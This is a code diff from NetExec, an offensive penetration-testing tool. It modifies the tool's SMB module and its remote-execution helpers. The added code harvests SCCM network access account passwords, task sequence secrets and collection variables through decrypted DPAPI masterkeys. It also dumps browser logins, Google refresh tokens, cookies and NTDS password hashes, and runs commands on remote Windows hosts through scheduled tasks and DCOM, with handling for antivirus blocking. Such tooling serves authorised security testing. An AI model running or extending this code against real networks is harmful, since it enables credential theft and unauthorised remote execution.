+            self.get_file_single(src, dest)
+
+
     def enable_remoteops(self):
-        if self.remote_ops is not None and self.bootkey is not None:
-            return
         try:
             self.remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost)
             self.remote_ops.enableRegistry()
-            self.bootkey = self.remote_ops.getBootKey()
+            if self.bootkey is None:
+                self.bootkey = self.remote_ops.getBootKey()
         except Exception as e:
             self.logger.fail(f"RemoteOperations failed: {e}")
 
@@ -1423,10 +1355,67 @@ class smb(connection):
         except Exception as e:
             self.logger.exception(str(e))
 
+    @requires_admin
+    def sccm(self):
+        masterkeys = []
+        if self.args.mkfile is not None:
+            try:
+                masterkeys += parse_masterkey_file(self.args.mkfile)
+            except Exception as e:
+                self.logger.fail(str(e))
+
+        target = Target.create(
+            domain=self.domain,
+            username=self.username,
+            password=self.password,
+            target=self.hostname + "." + self.domain if self.kerberos else self.host,
+            lmhash=self.lmhash,
+            nthash=self.nthash,
+            do_kerberos=self.kerberos,
+            aesKey=self.aesKey,
+            no_pass=True,
+            use_kcache=self.use_kcache,
+        )
+
+        try:
+            conn = DPLootSMBConnection(target)
+            conn.smb_session = self.conn
+        except Exception as e:
+            self.logger.debug(f"Could not upgrade connection: {e}")
+            return
+        
+        try:
+            self.logger.display("Collecting Machine masterkeys, grab a coffee and be patient...")
+            masterkeys_triage = MasterkeysTriage(
+                target=target,
+                conn=conn,
+                dpapiSystem={},
+            )
+            masterkeys += masterkeys_triage.triage_system_masterkeys()
+        except Exception as e:
+            self.logger.debug(f"Could not get masterkeys: {e}")
+
+        if len(masterkeys) == 0:
+            self.logger.fail("No masterkeys looted")
+            return
+        
+        self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through {self.args.sccm}")
+        try:
+            # Collect Chrome Based Browser stored secrets
+            sccm_triage = SCCMTriage(target=target, conn=conn, masterkeys=masterkeys, use_wmi=self.args.sccm == "wmi")
+            sccmcreds, sccmtasks, sccmcollections = sccm_triage.triage_sccm()
+            for sccmcred in sccmcreds:
+                self.logger.highlight(f"[NAA Account] {sccmcred.username.decode('latin-1')}:{sccmcred.password.decode('latin-1')}")
+            for sccmtask in sccmtasks:
+                self.logger.highlight(f"[Task sequences secret] {sccmtask.secret.decode('latin-1')}")
+            for sccmcollection in sccmcollections:
+                self.logger.highlight(f"[Collection Variable] {sccmcollection.variable.decode('latin-1')}:{sccmcollection.value.decode('latin-1')}")
+        except Exception as e:
+            self.logger.debug(f"Error while looting sccm: {e}")
+
     @requires_admin
     def dpapi(self):
         dump_system = "nosystem" not in self.args.dpapi
-        logging.getLogger("dploot").disabled = True
 
         if self.args.pvk is not None:
             try:
@@ -1517,6 +1506,7 @@ class smb(connection):
                 pvkbytes=self.pvkbytes,
                 passwords=plaintexts,
                 nthashes=nthashes,
+                dpapiSystem={},
             )
             self.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
             masterkeys += masterkeys_triage.triage_masterkeys()
@@ -1576,23 +1566,37 @@ class smb(connection):
         except Exception as e:
             self.logger.debug(f"Error while looting browsers: {e}")
         for credential in browser_credentials:
-            cred_url = credential.url + " -" if credential.url != "" else "-"
-            self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] {cred_url} {credential.username}:{credential.password}")
-            self.db.add_dpapi_secrets(
-                target.address,
-                credential.browser.upper(),
-                credential.winuser,
-                credential.username,
-                credential.password,
-                credential.url,
-            )
+            if isinstance(credential, LoginData):
+                cred_url = credential.url + " -" if credential.url != "" else "-"
+                self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] {cred_url} {credential.username}:{credential.password}")
+                self.db.add_dpapi_secrets(
+                    target.address,
+                    credential.browser.upper(),
+                    credential.winuser,
+                    credential.username,
+                    credential.password,
+                    credential.url,
+                )
+            elif isinstance(credential, GoogleRefreshToken):
+                self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] Google Refresh Token: {credential.service}:{credential.token}")
+                self.db.add_dpapi_secrets(
+                    target.address,
+                    credential.browser.upper(),
+                    credential.winuser,
+                    credential.service,
+                    credential.token,
+                    "Google Refresh Token",
+                )
 
-        if dump_cookies:
+
+        if dump_cookies and cookies:
             self.logger.display("Start Dumping Cookies")
             for cookie in cookies:
                 if cookie.cookie_value != "":
-                    self.logger.highlight(f"[{credential.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}")
+                    self.logger.highlight(f"[{cookie.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}")
             self.logger.display("End Dumping Cookies")
+        elif dump_cookies:
+            self.logger.fail("No cookies found")
 
         vaults = []
         try:
@@ -1633,6 +1637,9 @@ class smb(connection):
                 credential.url,
             )
 
+        if not (credentials or system_credentials or browser_credentials or cookies or vaults or firefox_credentials):
+            self.logger.fail("No secrets found")
+
     @requires_admin
     def lsa(self):
         try:
@@ -1690,10 +1697,10 @@ class smb(connection):
             add_ntds_hash.ntds_hashes += 1
             if self.args.enabled:
                 if "Enabled" in ntds_hash:
-                    ntds_hash = ntds_hash.split(" ")[0]
+                    ntds_hash = " ".join(ntds_hash.split(" ")[:-1])
                     self.logger.highlight(ntds_hash)
             else:
-                ntds_hash = ntds_hash.split(" ")[0]
+                ntds_hash = " ".join(ntds_hash.split(" ")[:-1])
                 self.logger.highlight(ntds_hash)
             if ntds_hash.find("$") == -1:
                 if ntds_hash.find("\\") != -1:

nxc/protocols/smb/atexec.py

@@ -7,7 +7,7 @@ from time import sleep
 
 
 class TSCH_EXEC:
-    def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
+    def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
         self.__target = target
         self.__username = username
         self.__password = password
@@ -19,6 +19,7 @@ class TSCH_EXEC:
         self.__retOutput = False
         self.__aesKey = aesKey
         self.__doKerberos = doKerberos
+        self.__remoteHost = remoteHost
         self.__kdcHost = kdcHost
         self.__tries = tries
         self.__output_filename = None
@@ -37,6 +38,7 @@ class TSCH_EXEC:
 
         stringbinding = r"ncacn_np:%s[\pipe\atsvc]" % self.__target
         self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
+        self.__rpctransport.setRemoteHost(self.__remoteHost)
 
         if hasattr(self.__rpctransport, "set_credentials"):
             # This method exists only for selected protocol sequences.
@@ -131,7 +133,7 @@ class TSCH_EXEC:
 
         xml = self.gen_xml(command, fileless)
 
-        self.logger.info(f"Task XML: {xml}")
+        self.logger.debug(f"Task XML: {xml}")
         taskCreated = False
         self.logger.info(f"Creating task \\{tmpName}")
         try:
@@ -179,22 +181,35 @@ class TSCH_EXEC:
             else:
                 ":".join(map(str, self.__rpctransport.get_socket().getpeername()))
                 smbConnection = self.__rpctransport.get_smb_connection()
-                tries = 1
+
+                tries = 0
+                # Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
+                sleep(0.4)
                 while True:
                     try:
                         self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}")
                         smbConnection.getFile(self.__share, self.__output_filename, self.output_callback)
                         break
                     except Exception as e:
-                        if tries >= self.__tries:
+                        if tries > self.__tries:
                             self.logger.fail("ATEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
                             break
-                        if str(e).find("STATUS_BAD_NETWORK_NAME") > 0:
+                        if "STATUS_BAD_NETWORK_NAME" in str(e):
                             self.logger.fail(f"ATEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
                             break
-                        if str(e).find("SHARING") > 0 or str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
-                            sleep(3)
+                        elif "STATUS_VIRUS_INFECTED" in str(e):
+                            self.logger.fail("Command did not run because a virus was detected")
+                            break
+                        # When executing powershell and the command is still running, we get a sharing violation
+                        # We can use that information to wait longer than if the file is not found (probably av or something)
+                        if "STATUS_SHARING_VIOLATION" in str(e):
+                            self.logger.info(f"File {self.__share}\\{self.__output_filename} is still in use with {self.__tries - tries} left, retrying...")
                             tries += 1
+                            sleep(1)
+                        elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
+                            self.logger.info(f"File {self.__share}\\{self.__output_filename} not found with {self.__tries - tries} left, deducting 10 tries and retrying...")
+                            tries += 10
+                            sleep(1)
                         else:
                             self.logger.debug(str(e))
 

nxc/protocols/smb/database.py

@@ -193,7 +193,7 @@ class database:
                 print(
                     f"""
                     [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
-                    [-] This is probably because a newer version of nxc is being ran on an old DB schema
+                    [-] This is probably because a newer version of nxc is being run on an old DB schema
                     [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
                     [-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
                 )

nxc/protocols/smb/firefox.py

@@ -4,6 +4,7 @@ from hashlib import pbkdf2_hmac, sha1
 import hmac
 import json
 import ntpath
+from os import remove
 import sqlite3
 import tempfile
 from Cryptodome.Cipher import AES, DES3
@@ -121,7 +122,10 @@ class FirefoxTriage:
         ]
 
     def get_key(self, key4_data, master_password=b""):
-        fh = tempfile.NamedTemporaryFile()
+        # Instead of disabling "delete" and removing the file manually,
+        # in the future (py3.12) we could use "delete_on_close=False" as a cleaner solution
+        # Related issue: #134
+        fh = tempfile.NamedTemporaryFile(delete=False)
         fh.write(key4_data)
         fh.seek(0)
         db = sqlite3.connect(fh.name)
@@ -149,7 +153,12 @@ class FirefoxTriage:
                     self.logger.debug(e)
                     fh.close()
                     return b""
+        db.close()
         fh.close()
+        try:
+            remove(fh.name)
+        except Exception as e:
+            self.logger.error(f"Error removing temporary file: {e}")
 
     def is_master_password_correct(self, key_data, master_password=b""):
         try:

nxc/protocols/smb/mmcexec.py

@@ -58,26 +58,28 @@ from impacket.dcerpc.v5.dtypes import NULL
 
 
 class MMCEXEC:
-    def __init__(self, host, share_name, username, password, domain, smbconnection, share, hashes=None, logger=None, tries=None, timeout=None):
-        self.__host = host
+    def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, remoteHost=None, hashes=None, share=None, logger=None, timeout=None, tries=None):
+        self.__target = target
         self.__username = username
         self.__password = password
-        self.__smbconnection = smbconnection
         self.__domain = domain
         self.__lmhash = ""
         self.__nthash = ""
-        self.__share_name = share_name
+        self.__share = share
+        self.__timeout = timeout
+        self.__smbconnection = smbconnection
         self.__output = None
         self.__outputBuffer = b""
+        self.__share_name = share_name
         self.__shell = "c:\\windows\\system32\\cmd.exe"
         self.__pwd = "C:\\"
-        self.__quit = None
-        self.__executeShellCommand = None
+        self.__aesKey = aesKey
+        self.__kdcHost = kdcHost
+        self.__remoteHost = remoteHost
+        self.__doKerberos = doKerberos
         self.__retOutput = True
-        self.__share = share
-        self.__dcom = None
+        self.__stringBinding = ""
         self.__tries = tries
-        self.__timeout = timeout
         self.logger = logger
 
         if hashes is not None:
@@ -87,21 +89,24 @@ class MMCEXEC:
                 self.__nthash = hashes
 
         self.__dcom = DCOMConnection(
-            self.__host,
+            self.__target,
             self.__username,
             self.__password,
             self.__domain,
             self.__lmhash,
             self.__nthash,
-            None,
+            self.__aesKey,
             oxidResolver=True,
+            doKerberos=self.__doKerberos,
+            kdcHost=self.__kdcHost,
+            remoteHost=self.__remoteHost,
         )
         try:
             iInterface = self.__dcom.CoCreateInstanceEx(string_to_bin("49B2791A-B1AE-4C90-9B8E-E860BA07F889"), IID_IDispatch)
         except Exception:
             # Make it force break function
             self.__dcom.disconnect()
-        flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__timeout)
+        flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
         if not flag or not self.__stringBinding:
             error_msg = f'MMCEXEC: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method'
 
@@ -242,23 +247,35 @@ class MMCEXEC:
         if self.__retOutput is False:
             self.__outputBuffer = ""
             return
-        tries = 1
+
+        tries = 0
+        # Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
+        sleep(0.4)
         while True:
             try:
                 self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
                 self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
                 break
             except Exception as e:
-                if tries >= self.__tries:
+                if tries > self.__tries:
                     self.logger.fail("MMCEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
                     break
-                if str(e).find("STATUS_BAD_NETWORK_NAME") > 0:
+                if "STATUS_BAD_NETWORK_NAME" in str(e):
                     self.logger.fail(f"MMCEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
                     break
-                if str(e).find("STATUS_SHARING_VIOLATION") >= 0 or str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
-                    # Output not finished, let's wait
-                    sleep(2)
+                elif "STATUS_VIRUS_INFECTED" in str(e):
+                    self.logger.fail("Command did not run because a virus was detected")
+                    break
+                # When executing powershell and the command is still running, we get a sharing violation
+                # We can use that information to wait longer than if the file is not found (probably av or something)
+                if "STATUS_SHARING_VIOLATION" in str(e):
+                    self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} left, retrying...")
                     tries += 1
+                    sleep(1)
+                elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
+                    self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} left, deducting 10 tries and retrying...")
+                    tries += 10
+                    sleep(1)
                 else:
                     self.logger.debug(str(e))